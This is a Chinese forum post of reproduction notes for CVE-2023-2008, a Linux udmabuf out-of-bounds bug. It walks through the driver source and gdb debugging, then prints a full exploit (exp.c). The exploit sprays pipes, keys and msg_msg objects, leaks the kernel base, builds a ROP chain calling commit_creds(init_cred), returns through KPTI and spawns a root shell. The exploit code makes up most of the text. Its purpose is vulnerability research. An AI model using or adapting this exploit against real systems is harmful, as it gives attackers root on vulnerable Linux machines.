首页
社区
课程
招聘
[原创]CVE-2023-2008复现笔记
发表于: 2024-8-28 14:19 4549

[原创]CVE-2023-2008复现笔记

2024-8-28 14:19
4549

1724825793460

commit:2c85ebc57b3e1817b6ce1a6b703928e113a90442

总的config:

defconfig+menuconfig

1724825801926

1723725116243

1723725011064

1723774430253

(同样是修改了objtool的一个代码)

此外还需要在init脚本中给普通用户赋一个可以打开/dev/udmabuf文件的权限

然后需要没有cg隔离,复现版本v5.10.0刚好不存在cg隔离;(笔者在复现时尽量认为是隔离的,不使用这一特性,本cve比较特殊,需要用到pipe)

1723773759920

在分配dmabuf的时候,内核会调用 dma_buf_export函数,其中传入一个dma_buf_export_info结构体来传递相关参数信息,该结构体的定义如下:

dma_buf_export函数内容大致如下:

之后还会调用dma_buf_fd等和文件相关的操作,最后返回给我们一个文件描述符;

当然我们重点要关注这里有一个分配页面空间的部分:

如上述代码所示,这里给pages分配了一个指针数组,请记住,后边这里会出现漏洞;

这里我们需要注意的是dmabuf有一个ops成员,这是一个函数表,上面有若干函数指针:

1723774073673

当我们对dmafd调用mmap时就会调用到mmap_udmabuf函数,下面我们简单看其代码:

1723774808029

1723774995044

总的来看就是我们可以在kmalloc分配的obj上越界写内核地址;

1723776501799

1723776558530

在使用 udmabuf 设备之前,需要先使用 memfd_create 创建一个内存文件,然后才能创建 DMA buffer(dmabuf)。这是因为 memfd_createudmabuf 的组合提供了一种机制,将用户空间内存区域转换为可用于 DMA(直接内存访问)操作的缓冲区。以下是这种操作顺序的原因及其背后的机制。

预定义:

memfd_create及其相关处理:

打开设备文件:

然后通过设备文件获取一个udmabuf:

通过mmap进行映射:

通过mremap进行扩展:

笔者在写这部分的时候已经完全复现成功该漏洞;

依据复现过程来看,似乎是dmabuf一经创建就会在其数组中写入若干个内核地址,然后mmap时会与用户空间进行映射,而mremap似乎并没有对这个数组做任何处理,仅仅是放宽了边界条件,使得我们访问的时候不算越界;导致我们越界访问的时候会自动读取数组下面的非法数据作为page_struct;

那么问题来了,这个dma访问内存是否还是一句页表呢?看起来这个访问映射似乎与页表逻辑是不相符的;那么ops函数表中的函数对mmap到底是怎么处理的呢?

源代码路径:

1723807768929

mmap的操作很简单,就是简单的赋值;

笔者个人感觉是,最开始分配了一些内存(分配物理页,但是要用虚拟地址管理),mmap的时候只分配虚拟地址,并在页表项中设置,到时候第一次访问就会走udmabuf_vm_fault进行物理内存的映射:

1723808264081

所以可能是mmap写了多少项页表,我们才能访问多少项,这个限制了越界,而mremap则是只修改了页表项,没有扩展这个数组;

这个kmalloc_array函数是在udmabuf_create函数中被调用的,且在内核中被调用的次数比较少,我们可以直接下断点:

1723778363371

笔者先分配dmabuf、然后喷射内核密钥,之后再扩展dmabuf,似乎并没有越界写内核地址:

1723779295835

1723779493498

似乎可以写入一个内存地址实现USMA攻击?

1723779857410

这个pages所指向的应该是page_struct结构体;

我们可以在创建dmabuf之后喷射pipe并set_size,(本环境下没有cg隔离)这样dmabuf下面就会出现一个pipe的page_struct结构体,我们就有了使用用户态地址读写pipe的page的能力了,然后我们将对应的pipe关闭,那么这个page就会被释放掉;

现在我们有了一个能够制作UAF-page的能力,但是应该如何将这个page申请出来呢?

经过调试发现,是因为我们的pipe->ops这个函数表为空,导致了无法成功释放我们的page;

笔者在gdb中将其手动修改之后即可成功命中:

1723792548217

而直接调试发现,我们命中的pipe_buffer一开始是有ops的:

1723792870427

然而到了release的时候这个ops指针就被清空了:

1723792927462

这不得不让笔者想起来之前有一个pipe_read,这个read似乎也调用了一些类似的函数

果然,==如果不读这个pipe,我们的ops就仍然存在==;

现在仍然回到了原来无法重用的问题,继续探究,最终发现是目标物理页的refcount是2,导致close之后没有成功将其free掉;为什么会是2呢?

终于找到了原因,我们==利用dma首次读取该页内容会导致该页的引用计数增加==:

1723794394052

所以不能通过读dma来获取命中的id,必须盲测;

问题最终得到解决:

我们不对pipe set_size了,就用原来的四则,此时要求我们的dmabuf的个数分别为初始的0x80和扩展后的0x100,然后我们给每个pipe写入超过0x1000字节的数据,用dmabuf越界读pipe的第二个页用来泄露idx,然后再用第一个页作为命中用;

我们关闭命中的pipe之后,set_size,可以成功将释放的物理页喷射出来,然后作为某一个pipe_buffer:

1723796483476

至此,我们有了任意读写pipe_buffer的能力了!

此时我们可以通过读pipe_buffer中的内容,泄露page_struct的地址和内核代码段的地址;

如果还能有一个可控的内核堆地址,我们就可以利用pipe_buffer劫持控制流进而提权了;

其实也可以利用dirty_pipe直接进行攻击;(但是笔者内核版本有点低,本身就有dirty-pipe,这样似乎有点不雅观。。。)

本来还想用seq_file的,但是太浪费文件描述符了,命中率很低;

可以构造两次cve的利用,想用pg_vec,但是无奈pg_vec使用太多物理页了,我们释放的物理页一不小心就成了pg_vec映射的物理页了,根本没机会用来构造pg_vec;

其实我们只需要有个结构能够泄露一个我们可控的地址就行了;

1723800920877

1723804001179

1723804862343

exp.c

pg_vec.h

page.h

key.h

msg.h

bluefrostsecurity/CVE-2023-2008: Proof of concept code for CVE-2023-2008 (github.com)

CVE-2023-2008 - Analyzing and exploiting a bug in the udmabuf driver | Bluefrostsecurity

CONFIG_CONFIGFS_FS=#支持img
CONFIG_SECURITYFS=y   #支持img
CONFIG_DEBUG_INFO=#调试
CONFIG_USER_NS=y   #支持新的namespace
CONFIG_USERFAULTFD=y #支持userfaultfd
CONFIG_DMABUF=y #支持udmabuf
CONFIG_CONFIGFS_FS=#支持img
CONFIG_SECURITYFS=y   #支持img
CONFIG_DEBUG_INFO=#调试
CONFIG_USER_NS=y   #支持新的namespace
CONFIG_USERFAULTFD=y #支持userfaultfd
CONFIG_DMABUF=y #支持udmabuf
struct dma_buf_export_info {
    const char *exp_name;
    struct module *owner;
    const struct dma_buf_ops *ops;
    size_t size;
    int flags;
    struct dma_resv *resv;
    void *priv;
};
struct dma_buf_export_info {
    const char *exp_name;
    struct module *owner;
    const struct dma_buf_ops *ops;
    size_t size;
    int flags;
    struct dma_resv *resv;
    void *priv;
};
struct dma_buf *dma_buf_export(const struct dma_buf_export_info *exp_info)
{
    ...
  
[1] dmabuf = kzalloc(alloc_size, GFP_KERNEL);
    if (!dmabuf) {
        ret = -ENOMEM;
        goto err_module;
    }
  
    dmabuf->priv = exp_info->priv;
    dmabuf->ops = exp_info->ops;
    dmabuf->size = exp_info->size;
    dmabuf->exp_name = exp_info->exp_name;
    dmabuf->owner = exp_info->owner;
        ...[2]  file = dma_buf_getfile(dmabuf, exp_info->flags);
    if (IS_ERR(file)) {
        ret = PTR_ERR(file);
        goto err_dmabuf;
    }
  
    file->f_mode |= FMODE_LSEEK;
[3] dmabuf->file = file;
  
        ...
    return dmabuf;
struct dma_buf *dma_buf_export(const struct dma_buf_export_info *exp_info)
{
    ...
  
[1] dmabuf = kzalloc(alloc_size, GFP_KERNEL);
    if (!dmabuf) {
        ret = -ENOMEM;
        goto err_module;
    }
  
    dmabuf->priv = exp_info->priv;
    dmabuf->ops = exp_info->ops;
    dmabuf->size = exp_info->size;
    dmabuf->exp_name = exp_info->exp_name;
    dmabuf->owner = exp_info->owner;
        ...[2]  file = dma_buf_getfile(dmabuf, exp_info->flags);
    if (IS_ERR(file)) {
        ret = PTR_ERR(file);
        goto err_dmabuf;
    }
  
    file->f_mode |= FMODE_LSEEK;
[3] dmabuf->file = file;
  
        ...
    return dmabuf;
ubuf = kzalloc(sizeof(*ubuf), GFP_KERNEL);
if (!ubuf)
    return -ENOMEM;
  
/* calculate number of pages */
pglimit = (size_limit_mb * 1024 * 1024) >> PAGE_SHIFT;
for (i = 0; i < head->count; i++) {
    ubuf->pagecount += list[i].size >> PAGE_SHIFT;
    if (ubuf->pagecount > pglimit)
        goto err;
}
  
/* allocate array of page pointers */
ubuf->pages = kmalloc_array(ubuf->pagecount, sizeof(*ubuf->pages),
                    GFP_KERNEL);
if (!ubuf->pages) {
    ret = -ENOMEM;
    goto err;
}
ubuf = kzalloc(sizeof(*ubuf), GFP_KERNEL);
if (!ubuf)
    return -ENOMEM;
  
/* calculate number of pages */
pglimit = (size_limit_mb * 1024 * 1024) >> PAGE_SHIFT;
for (i = 0; i < head->count; i++) {
    ubuf->pagecount += list[i].size >> PAGE_SHIFT;
    if (ubuf->pagecount > pglimit)
        goto err;
}
  
/* allocate array of page pointers */
ubuf->pages = kmalloc_array(ubuf->pagecount, sizeof(*ubuf->pages),
                    GFP_KERNEL);
if (!ubuf->pages) {
    ret = -ENOMEM;
    goto err;
}
for (i = 0; i < head->count; i++)
{
    ret = -EBADFD;
    memfd = fget(list[i].memfd);
    if (!memfd)
        goto err;
    if (!shmem_mapping(file_inode(memfd)->i_mapping))
        goto err;
    seals = memfd_fcntl(memfd, F_GET_SEALS, 0);
    if (seals == -EINVAL)
        goto err;
    ret = -EINVAL;
  
    /* make sure file can only be extended in size but not reduced */
    if ((seals & SEALS_WANTED) != SEALS_WANTED ||
            (seals & SEALS_DENIED) != 0)
        goto err;
  
    pgoff = list[i].offset >> PAGE_SHIFT;
    pgcnt = list[i].size   >> PAGE_SHIFT;
  
    for (pgidx = 0; pgidx < pgcnt; pgidx++) {
        /* lookup the page */
        page = shmem_read_mapping_page(
            file_inode(memfd)->i_mapping, pgoff + pgidx);
        /* add the page to the array */
        ubuf->pages[pgbuf++] = page;
    }
    fput(memfd);
    memfd = NULL;
}
for (i = 0; i < head->count; i++)
{
    ret = -EBADFD;
    memfd = fget(list[i].memfd);
    if (!memfd)
        goto err;
    if (!shmem_mapping(file_inode(memfd)->i_mapping))
        goto err;
    seals = memfd_fcntl(memfd, F_GET_SEALS, 0);
    if (seals == -EINVAL)
        goto err;
    ret = -EINVAL;
  
    /* make sure file can only be extended in size but not reduced */
    if ((seals & SEALS_WANTED) != SEALS_WANTED ||
            (seals & SEALS_DENIED) != 0)
        goto err;
  
    pgoff = list[i].offset >> PAGE_SHIFT;
    pgcnt = list[i].size   >> PAGE_SHIFT;
  
    for (pgidx = 0; pgidx < pgcnt; pgidx++) {
        /* lookup the page */
        page = shmem_read_mapping_page(
            file_inode(memfd)->i_mapping, pgoff + pgidx);
        /* add the page to the array */
        ubuf->pages[pgbuf++] = page;
    }
    fput(memfd);
    memfd = NULL;
}
#define UDMABUF_CREATE _IOW('u', 0x42, struct udmabuf_create)
#define UDMABUF_CREATE _IOW('u', 0x42, struct udmabuf_create)
int mem_fd = memfd_create("test", MFD_ALLOW_SEALING);
  if (mem_fd < 0)
    errx(1, "couldn't create anonymous file");
   
  /* setup size of anonymous file, the initial size was 0 */
  if (ftruncate(mem_fd,0x1000 * 8) < 0)
    errx(1, "couldn't truncate file length");
 
  /* make sure the file cannot be reduced in size */
  if (fcntl(mem_fd, F_ADD_SEALS, F_SEAL_SHRINK) < 0)
    errx(1, "couldn't seal file");
 
  printf("[*] anon file fd=%d (%#x bytes)\n", mem_fd, 0x1000 * 8);
int mem_fd = memfd_create("test", MFD_ALLOW_SEALING);
  if (mem_fd < 0)
    errx(1, "couldn't create anonymous file");
   
  /* setup size of anonymous file, the initial size was 0 */
  if (ftruncate(mem_fd,0x1000 * 8) < 0)
    errx(1, "couldn't truncate file length");
 
  /* make sure the file cannot be reduced in size */
  if (fcntl(mem_fd, F_ADD_SEALS, F_SEAL_SHRINK) < 0)
    errx(1, "couldn't seal file");
 
  printf("[*] anon file fd=%d (%#x bytes)\n", mem_fd, 0x1000 * 8);
int dev_fd = open("/dev/udmabuf", O_RDWR);
  if (dev_fd < 0)
    errx(1, "couldn't open device");
 
  printf("[*] udmabuf device fd=%d\n", dev_fd);
int dev_fd = open("/dev/udmabuf", O_RDWR);
  if (dev_fd < 0)
    errx(1, "couldn't open device");
 
  printf("[*] udmabuf device fd=%d\n", dev_fd);
struct udmabuf_create create = { 0 };
   create.memfd = mem_fd;
   create.size  = PAGE_SIZE * N_PAGES_ALLOC;
   
   /* reallocate one of the freed holes in kmalloc-1024 */
   int udmabuf_fd = ioctl(dev_fd, UDMABUF_CREATE, &create);
   if (udmabuf_fd < 0)
     errx(1, "couldn't create udmabuf");
 
   printf("[*] udmabuf fd=%d\n", udmabuf_fd);
struct udmabuf_create create = { 0 };
   create.memfd = mem_fd;
   create.size  = PAGE_SIZE * N_PAGES_ALLOC;
   
   /* reallocate one of the freed holes in kmalloc-1024 */
   int udmabuf_fd = ioctl(dev_fd, UDMABUF_CREATE, &create);
   if (udmabuf_fd < 0)
     errx(1, "couldn't create udmabuf");
 
   printf("[*] udmabuf fd=%d\n", udmabuf_fd);
void* udmabuf_map = mmap(NULL, PAGE_SIZE * N_PAGES_ALLOC,
       PROT_READ|PROT_WRITE, MAP_SHARED, udmabuf_fd, 0);
   if (udmabuf_map == MAP_FAILED)
     errx(1, "couldn't map udmabuf");
 
   printf("[*] udmabuf mapped at %p (%#x bytes)\n",
       udmabuf_map, PAGE_SIZE * N_PAGES_ALLOC);
void* udmabuf_map = mmap(NULL, PAGE_SIZE * N_PAGES_ALLOC,
       PROT_READ|PROT_WRITE, MAP_SHARED, udmabuf_fd, 0);
   if (udmabuf_map == MAP_FAILED)
     errx(1, "couldn't map udmabuf");
 
   printf("[*] udmabuf mapped at %p (%#x bytes)\n",
       udmabuf_map, PAGE_SIZE * N_PAGES_ALLOC);
/* remap the virtual mapping expanding its size */
    void* new_udmabuf_map = mremap(udmabuf_map,
        PAGE_SIZE * N_PAGES_ALLOC, PAGE_SIZE * N_PAGES_ALLOC * 2, MREMAP_MAYMOVE);
    if (new_udmabuf_map == MAP_FAILED)
      errx(1, "couldn't remap udmabuf mapping");
 
    printf("[*] udmabuf map expanded at %p (%#x bytes)\n", new_udmabuf_map,
        PAGE_SIZE * N_PAGES_ALLOC * 2);
/* remap the virtual mapping expanding its size */
    void* new_udmabuf_map = mremap(udmabuf_map,
        PAGE_SIZE * N_PAGES_ALLOC, PAGE_SIZE * N_PAGES_ALLOC * 2, MREMAP_MAYMOVE);
    if (new_udmabuf_map == MAP_FAILED)
      errx(1, "couldn't remap udmabuf mapping");
 
    printf("[*] udmabuf map expanded at %p (%#x bytes)\n", new_udmabuf_map,
        PAGE_SIZE * N_PAGES_ALLOC * 2);
https://elixir.bootlin.com/linux/v5.10/source/drivers/dma-buf/udmabuf.c
https://elixir.bootlin.com/linux/v5.10/source/drivers/dma-buf/udmabuf.c
gdb -ex "target remote localhost:1234" -ex "file /mnt/hgfs/VMshare2/cve/v5.10.0/CVE-2023-2008/vmlinux" -ex "c"
gdb -ex "target remote localhost:1234" -ex "file /mnt/hgfs/VMshare2/cve/v5.10.0/CVE-2023-2008/vmlinux" -ex "c"
gdb -ex "target remote localhost:1234" -ex "file /mnt/hgfs/VMshare2/cve/v5.10.0/CVE-2023-2008/vmlinux" -ex "b *(0xffffffff816b434e)"  -ex "c"
gdb -ex "target remote localhost:1234" -ex "file /mnt/hgfs/VMshare2/cve/v5.10.0/CVE-2023-2008/vmlinux" -ex "b *(0xffffffff816b434e)"  -ex "c"
https://github.com/bluefrostsecurity/CVE-2023-2008/blob/main/exp.c
https://github.com/bluefrostsecurity/CVE-2023-2008/blob/main/exp.c
https://labs.bluefrostsecurity.de/blog/cve-2023-2008.html
https://labs.bluefrostsecurity.de/blog/cve-2023-2008.html
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sched.h>
#include <sys/types.h>
 
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
 
void get_root_shell(){
    printf("now pid == %p\n", getpid());
    system("/bin/sh");
}
 
//CPU绑核
void bindCore(int core)
{
    cpu_set_t cpu_set;
 
    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
 
    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
 
#define UDMABUF_CREATE _IOW('u', 0x42, struct udmabuf_create)
#include <sys/mman.h>
#include <sys/syscall.h>
#include "pg_vec.h"
#include "page.h"
 
 
struct udmabuf_create
{
  uint32_t memfd;
  uint32_t flags;
  uint64_t offset;
  uint64_t size;
};
 
#include "key.h"
int kids[0x100];
void spray_key(int times, int len, char *con){
    char des[0x100];
    memset(des, 0, sizeof(des));
    char pay[0x100];
    memset(pay, 0, sizeof(pay));
    for(int i = 0; i < times; i++){
        memset(des, 'A'+i, 0xa0);
        memset(pay, 'a'+i, len);
        memcpy(pay, con, len);
        kids[i] = key_alloc(des, pay, len);
        printf("kid == %d\n", kids[i]);
    }
}
int pipe1[0x200][2];
void spray_pipe(int times, int start){
    for(int i = 0; i < times; i++){
      if(pipe(pipe1[start+i]) < 0){
        perror("create pipe");
        exit(-1);
      }
      //printf("pipe_fd --> %d, %d\n", pipe1[start+i][0], pipe1[start+i][1]);
    }
}
 
#define TOTAL_PAGES 0x200
size_t data[0x1000];
#define FIRST_NUM 0x80
#define SECOND_NUM 0x200
 
#include "msg.h"
void spray_msg(char *con){
    int kmsg_idx;
    int ms_qid[0x100];
       char msg_buf[0x2000];
    for (int i = 0; i < 0x30; i++)
    {
        ms_qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
        if (ms_qid[i] < 0)
        {
            puts("[x] msgget!");
            return -1;
        }
    }
     
    for (int i = 0; i < 0x30; i++)
    {
        memset(msg_buf, 'A', 0x1800 - 8);
        int ret = msgsnd(ms_qid[i], con, 0x1800 - 0x30-0x8, 0);
        if (ret < 0)
        {
            puts("[x] msgsnd!");
            return -1;
        }
    }
 
 
}
 
size_t kbase ;
int pipe_fd;
size_t add_rsp_0xb8_pop2;
size_t pop_rbp_ret;
size_t leave_ret;
size_t fake_stack;
 
int main(){
     
    save_status();
    bindCore(0);
 
    unshare_setup();
    page_init();
 
    int mem_fd = memfd_create("test", MFD_ALLOW_SEALING);
  if (mem_fd < 0)
    errx(1, "couldn't create anonymous file");
   
  /* setup size of anonymous file, the initial size was 0 */
  if (ftruncate(mem_fd,0x1000 * FIRST_NUM) < 0)
    errx(1, "couldn't truncate file length");
 
  /* make sure the file cannot be reduced in size */
  if (fcntl(mem_fd, F_ADD_SEALS, F_SEAL_SHRINK) < 0)
    errx(1, "couldn't seal file");
 
  printf("[*] anon file fd=%d (%#x bytes)\n", mem_fd, 0x1000 * FIRST_NUM);
 
 
    int dev_fd = open("/dev/udmabuf", O_RDWR);
    if (dev_fd < 0)
        errx(1, "couldn't open device");
 
    printf("[*] udmabuf device fd=%d\n", dev_fd);
 
     struct udmabuf_create create = { 0 };
    create.memfd = mem_fd;
    create.size  = 0x1000 * FIRST_NUM;
     
    /* reallocate one of the freed holes in kmalloc-1024 */
    int udmabuf_fd = ioctl(dev_fd, UDMABUF_CREATE, &create);
    if (udmabuf_fd < 0)
      errx(1, "couldn't create udmabuf");
 
    printf("[*] udmabuf fd=%d\n", udmabuf_fd);
 
    spray_pipe(0x100, 0x0);
    memset(data, 'a', 0x1000);
    for(int i = 0; i < 0x100; i++) {
        write(pipe1[i][1], data, 0x1000);
        write(pipe1[i][1], &i, 0x4);
    }
    puts("spray pipe done");
 
    void* udmabuf_map = mmap(NULL, 0x1000 * FIRST_NUM,
        PROT_READ|PROT_WRITE, MAP_SHARED, udmabuf_fd, 0);
    if (udmabuf_map == MAP_FAILED)
      errx(1, "couldn't map udmabuf");
 
    printf("[*] udmabuf mapped at %p (%#x bytes)\n",
        udmabuf_map, 0x1000 * FIRST_NUM);
 
    /* remap the virtual mapping expanding its size */
    void* new_udmabuf_map = mremap(udmabuf_map,
        0x1000 * 8, 0x1000 * SECOND_NUM, MREMAP_MAYMOVE);
    if (new_udmabuf_map == MAP_FAILED)
      errx(1, "couldn't remap udmabuf mapping");
 
    printf("[*] udmabuf map expanded at %p (%#x bytes)\n", new_udmabuf_map,
        0x1000 * SECOND_NUM);
     
    int victim_idx = -1;
    memcpy(&victim_idx, new_udmabuf_map+FIRST_NUM*0x1000+0x5000, 4);
    printf("victim_idx == %d\n", victim_idx);
     
    int vic2 = -1;
    memcpy(&vic2, new_udmabuf_map+FIRST_NUM*2*0x1000+0x5000, 4);
    printf("vic2 == %d\n", vic2);
    if(victim_idx == -1 || vic2 == -1) exit(0);
 
    //read(pipe1[victim_idx][0], data, 4);
    close(pipe1[victim_idx][0]);
    close(pipe1[victim_idx][1]);
    puts("sleep for 2 second ...");
    sleep(2);
 
    for(int i = 0; i < 0x100; i++){
        if(i == victim_idx) continue;
        if(i == vic2) continue;
        if(fcntl(pipe1[i][1], F_SETPIPE_SZ, 0x1000 * 4 ) < 0){
            printf("%d--%d\n", i, pipe1[i][1]);
            perror("set pipe size error!");
            exit(-1);
        }
 
    }
 
    memcpy(data, new_udmabuf_map+FIRST_NUM*0x1000, 0x1000);
    for(int i = 0; i < 0x200; i++){
      //printf("data -> %p\n", (void *)data[i]);
    }
    size_t page_struct = data[0];
    kbase = data[2] - 0xffffffff82019a40;
    printf("kbase == %p\n", (void *)kbase);
    add_rsp_0xb8_pop2 = kbase + 0xffffffff81078d6b;
 
 
 
    close(pipe1[vic2][0]);
    close(pipe1[vic2][1]);
    puts("sleep for 2 second ...");
    sleep(2);
 
    leave_ret = kbase + 0xffffffff8107bd3c;
    pop_rbp_ret = kbase + 0xffffffff81000688;
    size_t init_cred = kbase + 0xffffffff8244c6c0;
    size_t pop_rdi_ret = kbase + 0xffffffff81422e9c;
    size_t commit_creds = kbase + 0xffffffff8108a190;
    size_t ret = kbase + 0xffffffff81422e9d;
    size_t kpti = kbase + 0xffffffff81c00e06;
 
    int k = 0;
    //构造fake_ops
    memset(data, 'a', sizeof(data));
    data[k++] = 0x1234567812345678;
    data[k++] = add_rsp_0xb8_pop2;
    data[k++] = add_rsp_0xb8_pop2;
    data[k++] = add_rsp_0xb8_pop2;
    data[k++] = ret;
    data[k++] = ret;
    data[k++] = pop_rdi_ret;
    data[k++] = init_cred;
    data[k++] = commit_creds;
    data[k++] = kpti;
    data[k++] = 0LL;
    data[k++] = 0LL;
    data[k++] = get_root_shell;
    data[k++] = user_cs;
    data[k++] = user_rflags;
    data[k++] = user_sp;
    data[k++] = user_ss;
    //构造fake_stack
 
    spray_msg(data);
 
    memcpy(data, new_udmabuf_map+FIRST_NUM*2*0x1000, 0x1000);
    size_t fake_ops = -1;
    for(int i = 0; i < 0x200; i++){
      //printf("data -> %p\n", (void *)data[i]);
      if(data[i] >= 0xffff888000000000 && data[i] % 0x1000 == 0){
        fake_ops = data[i] + 0x30;
        break;
      }
    }
    printf("fake_ops == %p\n", (void *)fake_ops);
 
    char *pipe_buffer = new_udmabuf_map+FIRST_NUM*0x1000;
    data[0] = page_struct;
    data[1] = 0x100000000000;
    data[2] = fake_ops;
    memcpy(pipe_buffer, data, 0x18);
 
    fake_stack = fake_ops + 0x20;
    printf("fake_stack == %p\n", (void *)fake_stack);
 
    for(int i = 0; i < 0x100; i++){
        if(i == victim_idx) continue;
        if(i == vic2) continue;
        pipe_fd = pipe1[i][0];
        __asm__(
            "mov rdi, pipe_fd;"
            "mov rsi, 0;"
            "mov rdx, 8;"
            "mov r15, pop_rbp_ret;"
            "mov r14, fake_stack;"
            "mov r13, leave_ret;"
            "mov r12, 0xcccccccc;"
            "mov r11, 0xbbbbbbbb;"
            "mov r10, 0xaaaaaaaaa;"
            "mov r9,  0x99999999;"
            "mov rax, 3;"
            "syscall;"
 
        );
        pipe_fd = pipe1[i][1];
        __asm__(
            "mov rdi, pipe_fd;"
            "mov rsi, 0;"
            "mov rdx, 8;"
            "mov r15, pop_rbp_ret;"
            "mov r14, fake_stack;"
            "mov r13, leave_ret;"
            "mov r12, 0xcccccccc;"
            "mov r11, 0xbbbbbbbb;"
            "mov r10, 0xaaaaaaaaa;"
            "mov r9,  0x99999999;"
            "mov rax, 3;"
            "syscall;"
 
        );
    }
 
    puts("end");
    getchar();
}
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sched.h>
#include <sys/types.h>
 
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
 
void get_root_shell(){
    printf("now pid == %p\n", getpid());
    system("/bin/sh");
}
 
//CPU绑核
void bindCore(int core)
{
    cpu_set_t cpu_set;
 
    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
 
    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
 
#define UDMABUF_CREATE _IOW('u', 0x42, struct udmabuf_create)
#include <sys/mman.h>
#include <sys/syscall.h>
#include "pg_vec.h"
#include "page.h"
 
 
struct udmabuf_create
{
  uint32_t memfd;
  uint32_t flags;
  uint64_t offset;
  uint64_t size;
};

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2024-8-28 14:24 被mb_btcapvow编辑 ,原因:
收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//